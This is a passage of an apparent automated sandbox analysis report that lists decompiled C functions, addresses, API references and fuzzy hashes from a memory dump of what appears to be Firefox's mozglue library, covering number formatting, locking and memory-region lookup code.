Instruction ID: d8cbdf20c0da5a615b5a8af88166d74f38ad5e2d992044acf5fe7b3712acfa9c
Opcode Fuzzy Hash: 34410965eee063f7c4696b52ae0282cbe1aed3f11345177497eae15d343fa51f
Instruction Fuzzy Hash: 7231E272D04349A7DF14CAA4D948BDE73F5AF49728F110855FA147B280DB72AA48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D873FF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E6D873FF0(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, intOrPtr* _a16) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				void* __ebp;
				signed int _t24;
				signed char _t35;
				signed char _t42;
				void* _t44;
				intOrPtr _t51;
				signed int _t53;
				signed int _t54;
				intOrPtr* _t59;
				signed int _t61;

				_t53 = __edx;
				_t44 = __ebx;
				_t24 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t24 ^ _t61;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__esi);
				_t59 = _a16;
				_push(__edi);
				_t56 = __ecx;
				asm("movsd [ebp-0x98], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				E6D86FCE8(__ecx,  &_v148);
				_t54 = _t53 & 0x7ff00000;
				if(0 != 0 || _t54 != 0x7ff00000) {
					__eflags = _a12 - 0x3c;
					if(__eflags > 0) {
						L11:
						__eflags = 0;
					} else {
						asm("movsd xmm1, [ebp-0x98]");
						asm("comisd xmm1, [0x6d87b598]");
						if(__eflags >= 0) {
							goto L11;
						} else {
							asm("movsd xmm0, [0x6d87b5a8]");
							asm("comisd xmm0, xmm1");
							if(__eflags >= 0) {
								goto L11;
							} else {
								asm("movsd [esp], xmm1");
								_t35 = E6D871F20(_t44, 0x7ff00000, _t54, _t56, _t59, 0x7ff00000, 0x7ff00000, 2, _a12,  &_v132, 0x79,  &_v133,  &_v144,  &_v140);
								__eflags = _v133;
								if(_v133 != 0) {
									asm("movsd xmm0, [ebp-0x98]");
									asm("ucomisd xmm0, [0x6d87b580]");
									asm("lahf");
									__eflags = _t35 & 0x00000044;
									if((_t35 & 0x00000044) != 0) {
										L9:
										_t51 =  *((intOrPtr*)(_t59 + 8));
										 *((intOrPtr*)(_t59 + 8)) = _t51 + 1;
										 *((char*)(_t51 +  *_t59)) = 0x2d;
									} else {
										_t42 =  *_t56 >> 3;
										__eflags = _t42 & 0x00000001;
										if((_t42 & 0x00000001) == 0) {
											goto L9;
										}
									}
								}
								E6D8716D0(_t56,  &_v132, _v144, _v140, _a12, _t59);
							}
						}
					}
				} else {
					asm("movsd xmm0, [ebp-0x98]");
					asm("movsd [esp], xmm0");
					E6D872B30(__ecx, _t54, 0x7ff00000, 0x7ff00000, _t59);
				}
				return E6D8770C0(_v8 ^ _t61);
			}

0x6d873ff0
0x6d873ff0
0x6d873ff9
0x6d874000
0x6d874003
0x6d87400e
0x6d87400f
0x6d874012
0x6d874014
0x6d874016
0x6d87401e
0x6d874026
0x6d874031
0x6d874035
0x6d874057
0x6d87405b
0x6d87410e
0x6d87410e
0x6d874061
0x6d874061
0x6d874069
0x6d874071
0x00000000
0x6d874077
0x6d874077
0x6d87407f
0x6d874083
0x00000000
0x6d874089
0x6d8740ab
0x6d8740b0
0x6d8740b8
0x6d8740bf
0x6d8740c1
0x6d8740c9
0x6d8740d1
0x6d8740d2
0x6d8740d5
0x6d8740e0
0x6d8740e0
0x6d8740e6
0x6d8740eb
0x6d8740d7
0x6d8740d9
0x6d8740dc
0x6d8740de
0x00000000
0x00000000
0x6d8740de
0x6d8740d5
0x6d874105
0x6d87410a
0x6d874083
0x6d874071
0x6d87403b
0x6d87403b
0x6d874048
0x6d87404d
0x6d87404d
0x6d87411f

APIs

Part of subcall function 6D86FCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D87435F,?,?,?,?,?,?,?,?,6D86EE7F), ref: 6D86FCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?), ref: 6D87404D
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,00000002,0000003C,?,00000079,?,?,?), ref: 6D8740B0
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,0000003C,?), ref: 6D874105

Strings

<, xrefs: 6D874057

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDecimalDtoaHandleMode@12@Representation@SpecialValues@memmove
String ID: <
API String ID: 2184465696-4251816714
Opcode ID: c30a7b067dab7428f172d750c61cfdab1da22d58cc910147feec59bb74377d1a
Instruction ID: b8354da309bb22e8b64193dc4b862ee36956c84889c39ddf010577ed04e7cf17
Opcode Fuzzy Hash: c30a7b067dab7428f172d750c61cfdab1da22d58cc910147feec59bb74377d1a
Instruction Fuzzy Hash: 9631A03190462DDECF21DE28CC08B9EB7B9FF5A340F008A9AE549A7101EB319A95CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D867F3A, Relevance: 6.4, APIs: 5, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E6D867F3A(void* __edx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				signed int _v24;
				char _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t33;
				signed int _t41;
				signed int _t42;
				signed int _t45;
				signed int _t48;
				signed int _t49;
				signed int _t50;
				signed int _t67;
				signed int _t73;
				void* _t84;
				signed int _t86;
				signed int _t89;

				_t84 = __edx;
				_t86 = _a4;
				_t33 = _a8 + 0xfff00000 + _t86;
				if(_t33 >= _t86) {
					_v24 = _v24 & 0x00000000;
					_v20 = _t33;
					EnterCriticalSection(0x6d88026c);
					_t89 =  *(E6D8672CA(0x6d880284,  &_v12,  &_v40));
					__eflags = _t89;
					if(_t89 != 0) {
						_t67 = _a8 - 0x00000001 +  *((intOrPtr*)(_t89 + 0x10)) &  !(_a8 - 1);
						_t41 = _t67 -  *((intOrPtr*)(_t89 + 0x10));
						_v8 = _t41;
						_t42 =  *(_t89 + 0x18);
						_a8 =  *(_t89 + 0x14) - _t41 - _t86;
						_t73 = _a12;
						_a4 = _t42;
						__eflags = _t73;
						if(_t73 != 0) {
							__eflags = _t42 - 1;
							_t19 = _t42 == 1;
							__eflags = _t19;
							 *_t73 = _t42 & 0xffffff00 | _t19;
						}
						E6D866851(_t67, 0x6d880284, _t86, _t89, _t89);
						E6D866C68(_t67, 0x6d880288, _t86, _t89, _t89);
						_t45 = _v8;
						__eflags = _t45;
						if(_t45 != 0) {
							 *(_t89 + 0x14) = _t45;
							E6D864515(_t67, 0x6d880284, _t84, _t86, _t89, _t89);
							E6D8646F6(_t67, 0x6d880288, _t84, _t86, _t89, _t89);
							_t89 = 0;
							__eflags = 0;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							L14:
							asm("lock xadd [ecx], eax");
							LeaveCriticalSection(0x6d88026c);
							__eflags = _t89;
							if(_t89 != 0) {
								E6D867AED(_t89);
							}
							_t48 = E6D868B36(_t67, _t86);
							__eflags = _t48;
							if(_t48 != 0) {
								_t49 = _a12;
								__eflags = _t49;
								if(_t49 != 0) {
									 *_t49 = 1;
								}
								_t50 = _t67;
							} else {
								goto L17;
							}
						} else {
							__eflags = _t89;
							if(_t89 != 0) {
								L13:
								 *((intOrPtr*)(_t89 + 0x10)) = _t67 + _t86;
								 *(_t89 + 0x14) = _a8;
								 *(_t89 + 0x18) = _a4;
								E6D864515(_t67, 0x6d880284, _t84, _t86, _t89, _t89);
								E6D8646F6(_t67, 0x6d880288, _t84, _t86, _t89, _t89);
								_t89 = 0;
								__eflags = 0;
								goto L14;
							} else {
								LeaveCriticalSection(0x6d88026c);
								_t89 = E6D867AB0();
								__eflags = _t89;
								if(__eflags != 0) {
									EnterCriticalSection(0x6d88026c);
									goto L13;
								} else {
									E6D867D7A(_t84, __eflags, _t67, _t86, _a4);
									goto L17;
								}
							}
						}
					} else {
						LeaveCriticalSection(0x6d88026c);
						L17:
						_t50 = 0;
					}
				} else {
					_t50 = 0;
				}
				return _t50;
			}

0x6d867f3a
0x6d867f49
0x6d867f4c
0x6d867f50
0x6d867f59
0x6d867f64
0x6d867f68
0x6d867f80
0x6d867f82
0x6d867f84
0x6d867fa1
0x6d867fa5
0x6d867faa
0x6d867fad
0x6d867fb2
0x6d867fb5
0x6d867fb8
0x6d867fbb
0x6d867fbd
0x6d867fbf
0x6d867fc2
0x6d867fc2
0x6d867fc5
0x6d867fc5
0x6d867fcd
0x6d867fd8
0x6d867fdd
0x6d867fe0
0x6d867fe2
0x6d867fea
0x6d867fed
0x6d867ff8
0x6d867ffd
0x6d867ffd
0x6d867ffd
0x6d867fff
0x6d868003
0x6d868064
0x6d86806d
0x6d868076
0x6d86807c
0x6d86807e
0x6d868081
0x6d868086
0x6d868089
0x6d868090
0x6d868092
0x6d868098
0x6d86809b
0x6d86809d
0x6d86809f
0x6d86809f
0x6d8680a2
0x00000000
0x00000000
0x00000000
0x6d868005
0x6d868005
0x6d868007
0x6d86803a
0x6d868042
0x6d868048
0x6d86804f
0x6d868052
0x6d86805d
0x6d868062
0x6d868062
0x00000000
0x6d868009
0x6d86800e
0x6d868019
0x6d86801b
0x6d86801d
0x6d868034
0x00000000
0x6d86801f
0x6d868025
0x00000000
0x6d86802a
0x6d86801d
0x6d868007
0x6d867f86
0x6d867f87
0x6d868094
0x6d868094
0x6d868094
0x6d867f52
0x6d867f52
0x6d867f52
0x6d8680aa

APIs

EnterCriticalSection.KERNEL32(6D88026C,000FFFFF,?,?), ref: 6D867F68
LeaveCriticalSection.KERNEL32(6D88026C,00000000,?), ref: 6D867F87

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1ffb42c258e7417c6ee269e73f18973e873f8f7a669a6e4f8080785767c4b7a1
Instruction ID: 085dae989659f942375170e7996b54d358375f75d6d939ed5e3cf07bf5cf9ccb
Opcode Fuzzy Hash: 1ffb42c258e7417c6ee269e73f18973e873f8f7a669a6e4f8080785767c4b7a1
Instruction Fuzzy Hash: 6841D231909695ABCB61DE7DCC4CA6EB7F8AF46325B004D29E909D7241DB70E90487F2

Uniqueness

Uniqueness Score: -1.00%

Function 6D871123, Relevance: 6.3, APIs: 4, Instructions: 262
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E6D871123(void* __ebx, void* __edi, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int* _a20, signed int* _a24, signed int* _a28, signed int* _a32) {
				signed int _v8;
				char _v536;
				char _v1064;
				char _v1592;
				char _v2120;
				void _v2124;
				char _v2128;
				intOrPtr _v2132;
				long long _v2136;
				void _v2140;
				void _v2144;
				signed int* _v2148;
				signed int* _v2152;
				void _v2156;
				char _v2160;
				intOrPtr _v2164;
				void _v2168;
				signed int* _v2172;
				signed int _v2176;
				void* __esi;
				signed int _t121;
				signed int _t127;
				intOrPtr _t130;
				signed int _t141;
				signed int _t158;
				signed int* _t160;
				intOrPtr _t162;
				intOrPtr _t191;
				signed int _t198;
				void* _t200;
				signed int _t208;
				void _t224;
				signed int _t225;
				signed int _t227;
				intOrPtr _t229;
				intOrPtr* _t230;
				intOrPtr _t233;
				signed int _t235;
				signed int _t236;
				signed int _t237;
				signed int* _t238;
				signed int _t243;
				long long* _t245;
				long long _t260;

				_t121 =  *0x6d88003c; // 0xf32417cd
				_v8 = _t121 ^ _t243;
				asm("movsd xmm0, [ebp+0x8]");
				_t229 = _a12;
				_t198 = 0;
				_v2152 = _a28;
				asm("movsd [ebp-0x854], xmm0");
				_v2148 = _a32;
				if(_t229 != 1) {
					asm("movsd [ebp-0x86c], xmm0");
					_v2160 = E6D86FCE8(_t200,  &_v2160);
					_v2156 = _t224;
					_t127 = E6D873ACA( &_v2160);
					asm("movsd xmm0, [ebp-0x854]");
					_t235 = _t127;
					_v2156 = _t235;
					_v2168 = _t224;
					asm("movsd [ebp-0x84c], xmm0");
					_v2128 = E6D86FCE8( &_v2160,  &_v2128);
					_v2124 = _t224;
					_t130 = E6D872086( &_v2128);
					asm("movsd xmm0, [ebp-0x854]");
					_v2164 = _t130;
					asm("movsd [ebp-0x84c], xmm0");
					_v2128 = E6D86FCE8( &_v2128,  &_v2128);
					_v2124 = _t224;
					_v2124 = E6D872EAC( &_v2128);
					__eflags = _t229;
					if(_t229 == 0) {
						goto L2;
					} else {
						_t198 = 0;
						_v2144 = 0;
						goto L3;
					}
					L33:
				} else {
					asm("cvtpd2ps xmm0, xmm0");
					asm("movss [ebp-0x868], xmm0");
					memmove( &_v2140,  &_v2156, 4);
					asm("movsd xmm1, [ebp-0x854]");
					asm("cvtpd2ps xmm0, xmm1");
					_v2168 = 0;
					_t235 =  ==  ? _v2140 & 0x007fffff : (_v2140 & 0x007fffff) + 0x800000;
					_v2156 = _t235;
					asm("movss [ebp-0x848], xmm0");
					memmove( &_v2144,  &_v2124, 4);
					_v2124 = _v2144;
					_t191 = E6D8720B1( &_v2124);
					asm("movsd xmm1, [ebp-0x854]");
					_v2164 = _t191;
					asm("cvtpd2ps xmm0, xmm1");
					asm("movss [ebp-0x848], xmm0");
					memmove( &_v2144,  &_v2124, 4);
					_t245 = _t245 + 0x24;
					_v2124 = _v2144;
					_v2124 = E6D872ECC( &_v2124);
					L2:
					_v2144 = 1;
				}
				L3:
				_v2140 = 1;
				if((_t235 & 0x00000001 | _t198) != 0) {
					_v2140 = _t198;
				}
				_t225 = _t235;
				_t236 = _v2168;
				_v2132 = _v2164;
				_t208 = _t236 & 0x00100000;
				if((_t198 | _t208) == 0) {
					_t233 = _v2132;
					do {
						_t236 = (_t236 << 0x00000020 | _t225) << 1;
						_t225 = _t225 + _t225;
						_t208 = _t236 & 0x00100000;
						_t233 = _t233 - 1;
					} while ((_t198 | _t208) == 0);
					_v2132 = _t233;
					_t229 = _a12;
				}
				_t141 = _v2132 + 0x34;
				_push(_t208);
				_push(_t208);
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("mulsd xmm0, [0x6d87b590]");
				asm("subsd xmm0, [0x6d87b588]");
				asm("movsd [ebp-0x854], xmm0");
				_t260 = _v2136;
				 *_t245 = _t260;
				L6D878802();
				_t237 = _a16;
				_v2136 = _t260;
				asm("cvttsd2si eax, [ebp-0x854]");
				if(_t229 != 2 ||  !_t141 <= _t237) {
					E6D870AA3( &_v1064);
					E6D870AA3( &_v536);
					E6D870AA3( &_v2120);
					E6D870AA3( &_v1592);
					asm("cvttsd2si eax, [ebp-0x854]");
					E6D872C18( &_v1592, _v2156, _v2168, _v2164, _v2124,  &_v1064, _v2144,  &_v1064,  &_v536,  &_v2120,  &_v1592);
					asm("cvttsd2si eax, [ebp-0x854]");
					E6D87263F(_t198, __eflags, _t260, _v2148, _v2140, _v2148,  &_v1064,  &_v536,  &_v2120,  &_v1592);
					__eflags = _t229;
					if(_t229 < 0) {
						L24:
						E6D874593();
						asm("int3");
						_push(_t243);
						_t158 = _v2176;
						_push(_t237);
						_t238 = _v2172;
						_t227 =  *_t238;
						__eflags =  ~_t227 - _t158;
						if(__eflags <= 0) {
							if(__eflags != 0) {
								__eflags = _t158 + _t227;
								_t160 = E6D8726BE(_t260, _t158 + _t227, _t238, _a8, _a12, _a16, _a20, _a24);
							} else {
								E6D873106(_t198, _a12, _t229, _t238, _t260, 0xa);
								_t162 = E6D873515(_a8, _a8, _a12);
								__eflags = _t162;
								if(_t162 < 0) {
									goto L27;
								} else {
									 *_a16 = 0x31;
									_t160 = _a24;
									 *_t160 = 1;
									 *_t238 =  *_t238 + 1;
								}
							}
						} else {
							 *_t238 =  ~_t158;
							L27:
							_t160 = _a24;
							 *_t160 =  *_t160 & 0x00000000;
						}
						return _t160;
					} else {
						__eflags = _t229 - 1;
						if(__eflags <= 0) {
							_t230 = _v2152;
							E6D872753(__eflags, _t260,  &_v1064,  &_v536,  &_v2120,  &_v1592, _v2140, _a20, _a24, _t230);
							goto L23;
						} else {
							__eflags = _t229 - 2;
							if(_t229 == 2) {
								_t230 = _v2152;
								_push(_t230);
								_push(_a24);
								_push(_a20);
								_push( &_v536);
								_push( &_v1064);
								_push(_v2148);
								_push(_t237);
								L25();
								goto L21;
							} else {
								__eflags = _t229 - 3;
								if(_t229 != 3) {
									goto L24;
								} else {
									_t230 = _v2152;
									E6D8726BE(_t260, _t237, _v2148,  &_v1064,  &_v536, _a20, _a24, _t230);
									L21:
									L23:
									 *(_a20 +  *_t230) = _t198;
									goto L12;
								}
							}
						}
					}
				} else {
					 *_a20 = _t198;
					 *_v2152 = _t198;
					 *_v2148 =  ~_t237;
					L12:
					return E6D8770C0(_v8 ^ _t243);
				}
				goto L33;
			}

0x6d87112c
0x6d871133
0x6d871139
0x6d871141
0x6d871144
0x6d871146
0x6d87114f
0x6d871157
0x6d871160
0x6d871333
0x6d871348
0x6d87134e
0x6d871354
0x6d871359
0x6d871361
0x6d871369
0x6d871370
0x6d871376
0x6d87138a
0x6d871390
0x6d871396
0x6d87139b
0x6d8713a3
0x6d8713b0
0x6d8713c4
0x6d8713ca
0x6d8713d5
0x6d8713db
0x6d8713dd
0x00000000
0x6d8713e3
0x6d8713e3
0x6d8713e5
0x00000000
0x6d8713e5
0x00000000
0x6d871166
0x6d871166
0x6d87117a
0x6d871182
0x6d87118d
0x6d8711a4
0x6d8711b0
0x6d8711b6
0x6d8711c6
0x6d8711cd
0x6d8711d5
0x6d8711e9
0x6d8711ef
0x6d8711f4
0x6d8711fc
0x6d871208
0x6d871216
0x6d87121e
0x6d87122f
0x6d871232
0x6d87123d
0x6d871243
0x6d871243
0x6d871243
0x6d87124a
0x6d87124c
0x6d871258
0x6d87125a
0x6d87125a
0x6d871266
0x6d871268
0x6d871270
0x6d871276
0x6d871280
0x6d871282
0x6d871288
0x6d871288
0x6d871290
0x6d871292
0x6d871298
0x6d871299
0x6d87129d
0x6d8712a3
0x6d8712a3
0x6d8712ac
0x6d8712af
0x6d8712b0
0x6d8712b1
0x6d8712b5
0x6d8712b9
0x6d8712c1
0x6d8712c9
0x6d8712d1
0x6d8712d7
0x6d8712da
0x6d8712df
0x6d8712e2
0x6d8712e8
0x6d8712f5
0x6d8713f6
0x6d871401
0x6d87140c
0x6d871417
0x6d87143e
0x6d871460
0x6d871488
0x6d871497
0x6d87149f
0x6d8714a1
0x6d871553
0x6d871553
0x6d871558
0x6d871559
0x6d87155c
0x6d87155f
0x6d871560
0x6d871563
0x6d871569
0x6d87156b
0x6d871579
0x6d8715b0
0x6d8715c0
0x6d87157b
0x6d871580
0x6d87158e
0x6d871596
0x6d871598
0x00000000
0x6d87159a
0x6d87159d
0x6d8715a0
0x6d8715a3
0x6d8715a9
0x6d8715a9
0x6d871598
0x6d87156d
0x6d87156f
0x6d871571
0x6d871571
0x6d871574
0x6d871574
0x6d8715ca
0x6d8714a7
0x6d8714a7
0x6d8714aa
0x6d87150f
0x6d87153e
0x00000000
0x6d8714ac
0x6d8714ac
0x6d8714af
0x6d8714e3
0x6d8714ef
0x6d8714f0
0x6d8714f3
0x6d8714f6
0x6d8714fd
0x6d8714fe
0x6d871504
0x6d871505
0x00000000
0x6d8714b1
0x6d8714b1
0x6d8714b4
0x00000000
0x6d8714ba
0x6d8714ba
0x6d8714dc
0x6d87150a
0x6d871546
0x6d87154b
0x00000000
0x6d87154b
0x6d8714b4
0x6d8714af
0x6d8714aa
0x6d871305
0x6d871310
0x6d871318
0x6d87131a
0x6d87131c
0x6d87132c
0x6d87132c
0x00000000

APIs

memmove.VCRUNTIME140(?,?,00000004,00000012,?,00000000), ref: 6D871182
memmove.VCRUNTIME140(?,?,00000004,?,?,00000004,00000012,?,00000000), ref: 6D8711D5
memmove.VCRUNTIME140(?,?,00000004,?,?,?,00000012,?,00000000), ref: 6D87121E
ceil.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000012,?,00000000), ref: 6D8712DA

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$ceil
String ID:
API String ID: 404853840-0
Opcode ID: 9b3c50e91fe3fee08c64cc561cf9e0aad30a798b30b7990575f5351494fb4ae1
Instruction ID: 60258a7065e2bb8a39d266ea0ab8651c9f321fd1e1011eea53e9e32592eda635
Opcode Fuzzy Hash: 9b3c50e91fe3fee08c64cc561cf9e0aad30a798b30b7990575f5351494fb4ae1
Instruction Fuzzy Hash: AAC10472D0462D9ACB71DE68CD84ADEB7F9FF59304F0586DAA58DA2100DF319A84CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6D8682B7, Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E6D8682B7(void* __ebx, void* __edi, signed int _a4, void* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v28;
				char _v44;
				intOrPtr _v56;
				signed int _t55;
				intOrPtr* _t58;
				intOrPtr _t59;
				intOrPtr* _t60;
				void* _t63;
				signed int _t65;
				signed char _t75;
				signed int _t76;
				signed int _t77;
				intOrPtr _t79;
				signed int _t84;
				signed int _t85;
				signed int _t88;
				unsigned int _t108;
				void* _t112;
				signed int _t115;
				intOrPtr* _t128;

				_t115 = _a4;
				_t108 = _t115 & 0xfff00000;
				if(_t108 == 0 ||  *0x6d8801e4 == 0) {
					L25:
					_t55 = 0;
					_v12 = 0;
					_v8 = 0;
					goto L26;
				} else {
					EnterCriticalSection(0x6d88028c);
					_v28 = _t115;
					_t58 = E6D8671E0(0x6d8802a4,  &_a4,  &_v44);
					_push(0x6d88028c);
					_t79 =  *_t58;
					if(_t79 == 0) {
						LeaveCriticalSection();
						_t59 =  *0x6d880268; // 0x0
						_t60 = _t59 + (_t108 >> 0x14) * 4;
						if(_t60 == 0 ||  *_t60 == 0) {
							goto L25;
						} else {
							_t84 = _t115 - _t108 >> 0xc;
							if(_t84 < 1) {
								goto L25;
							} else {
								_t55 = (_t84 + 2) * 0xc + _t108;
								_t75 =  *_t55;
								if((1 & _t75) != 0) {
									if((_t75 & 0x00000002) == 0) {
										_t76 = _t75 & 0xfffff000;
										_t63 =  *_t76;
										_t85 =  *(_t63 + 8);
										_t112 =  *((intOrPtr*)(_t63 + 0x18)) + _t76;
										_a4 = _t85;
										if(_t115 < _t112) {
											goto L25;
										} else {
											_t65 = (_t115 - _t112) / _t85;
											_t43 = (_t65 >> 5) * 4; // 0x0
											_t88 = _a4;
											_v8 = _t88;
											asm("sbb edx, edx");
											_v16 = ( ~(1 << _t65 - (_t65 >> 0x00000005 << 0x00000005) &  *(_t76 + _t43 + 0xc)) & 0x00000003) + 1;
											_t55 = _t65 * _t88 + _t112;
											_v12 = _t55;
										}
									} else {
										while(1) {
											_t77 = _t75 & 0xfffff000;
											if(_t77 != 0) {
												break;
											}
											_t84 = _t84 - 1;
											_t55 = _t55 - 0xc;
											if(_t84 < 1) {
												goto L25;
											} else {
												_t75 =  *_t55;
												if((_t75 & 0x00000002) == 0) {
													goto L25;
												} else {
													continue;
												}
											}
											goto L27;
										}
										_v16 = 2;
										_v12 = (_t84 << 0xc) + _t108;
										_v8 = _t77;
									}
									goto L27;
								} else {
									if((_t75 & 0x00000008) == 0) {
										if((_t75 & 0x00000020) == 0) {
											if((_t75 & 0x00000040) == 0) {
												if((_t75 & 0x00000004) == 0) {
													E6D8690E5("MOZ_CRASH()");
													asm("int3");
													 *_t128 = 0xc34;
													E6D868DD0();
													asm("int3");
													_push(_t115);
													E6D8682B7(_t75, _t108, _v56, 0x6d8802e4);
													return 0x6d8802e4;
												} else {
													_push(8);
													goto L16;
												}
											} else {
												_push(7);
												goto L16;
											}
										} else {
											_push(6);
											goto L16;
										}
									} else {
										_push(5);
										L16:
										_v8 = 0x1000;
										_pop(_t55);
										_v12 = _t115 & 0xfffff000;
										L26:
										_v16 = _t55;
										L27:
										asm("movsd");
										asm("movsd");
										asm("movsd");
										goto L28;
									}
								}
							}
						}
					} else {
						_v12 =  *(_t79 + 0x10);
						_t55 =  *(_t79 + 0x14);
						_v8 = _t55;
						_v16 = 3;
						asm("movsd");
						asm("movsd");
						asm("movsd");
						LeaveCriticalSection(??);
						L28:
						return _t55;
					}
				}
			}

0x6d8682bf
0x6d8682c5
0x6d8682cb
0x6d868431
0x6d868431
0x6d868433
0x6d868436
0x00000000
0x6d8682de
0x6d8682e4
0x6d8682ed
0x6d8682fa
0x6d8682ff
0x6d868300
0x6d868304
0x6d86832d
0x6d868333
0x6d86833d
0x6d868342
0x00000000
0x6d868351
0x6d868358
0x6d86835d
0x00000000
0x6d868363
0x6d868369
0x6d86836b
0x6d86836f
0x6d8683b0
0x6d8683e0
0x6d8683e6
0x6d8683eb
0x6d8683ee
0x6d8683f0
0x6d8683f5
0x00000000
0x6d8683f7
0x6d8683fd
0x6d868412
0x6d868416
0x6d86841b
0x6d86841e
0x6d868427
0x6d86842a
0x6d86842c
0x6d86842c
0x6d8683b2
0x6d8683c8
0x6d8683c8
0x6d8683ca
0x00000000
0x00000000
0x6d8683b9
0x6d8683ba
0x6d8683bf
0x00000000
0x6d8683c1
0x6d8683c1
0x6d8683c6
0x00000000
0x00000000
0x00000000
0x00000000
0x6d8683c6
0x00000000
0x6d8683bf
0x6d8683d1
0x6d8683d8
0x6d8683db
0x6d8683db
0x00000000
0x6d868371
0x6d868374
0x6d86837d
0x6d868386
0x6d86838f
0x6d868451
0x6d868456
0x6d868457
0x6d86845e
0x6d868463
0x6d868467
0x6d868471
0x6d86847c
0x6d868395
0x6d868395
0x00000000
0x6d868395
0x6d868388
0x6d868388
0x00000000
0x6d868388
0x6d86837f
0x6d86837f
0x00000000
0x6d86837f
0x6d868376
0x6d868376
0x6d868397
0x6d86839d
0x6d8683a4
0x6d8683a5
0x6d868439
0x6d868439
0x6d86843c
0x6d868442
0x6d868443
0x6d868444
0x00000000
0x6d868444
0x6d868374
0x6d86836f
0x6d86835d
0x6d868306
0x6d86830f
0x6d868312
0x6d868315
0x6d868318
0x6d86831f
0x6d868320
0x6d868321
0x6d868322
0x6d868445
0x6d86844b
0x6d86844b
0x6d868304

APIs

EnterCriticalSection.KERNEL32(6D88028C,?,6D8802E4,00000000), ref: 6D8682E4
LeaveCriticalSection.KERNEL32(6D88028C,?,?,?,6D8802E4,00000000), ref: 6D868322
LeaveCriticalSection.KERNEL32(6D88028C,?,?,?,6D8802E4,00000000), ref: 6D86832D

Strings

MOZ_CRASH(), xrefs: 6D86844C

Memory Dump Source

Source File: 00000002.00000002.317248074.000000006D861000.00000020.00020000.sdmp, Offset: 6D860000, based on PE: true

Associated: 00000002.00000002.317238146.000000006D860000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317274043.000000006D879000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.317287683.000000006D880000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.317297784.000000006D882000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$Enter
String ID: MOZ_CRASH()
API String ID: 2978645861-2608361144
Opcode ID: 18b8f01a5eafc37e4d1eba6e36887a3493c44f705ba990878b88e2109c578417
Instruction ID: b9b223d36359acfbe59929bcc9774dc90f2d31a742e87833893740bb2b58239d
Opcode Fuzzy Hash: 18b8f01a5eafc37e4d1eba6e36887a3493c44f705ba990878b88e2109c578417
Instruction Fuzzy Hash: DC510571A012189FDB04CF19C849BADBBBAEF8A760F15845AED199B3D1D7309940CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D86B580, Relevance: 6.1, APIs: 4, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6D86B580(intOrPtr* __ecx, signed int _a4) {
				intOrPtr* _t17;
				void* _t19;
				signed int _t23;
				void* _t24;
				signed int _t26;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				void* _t31;
				signed int _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;
				signed int _t45;
				intOrPtr _t46;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t58;
				void* _t59;

				_t17 = _a4;
				_t57 = __ecx;
				_t56 =  *__ecx -  *_t17;
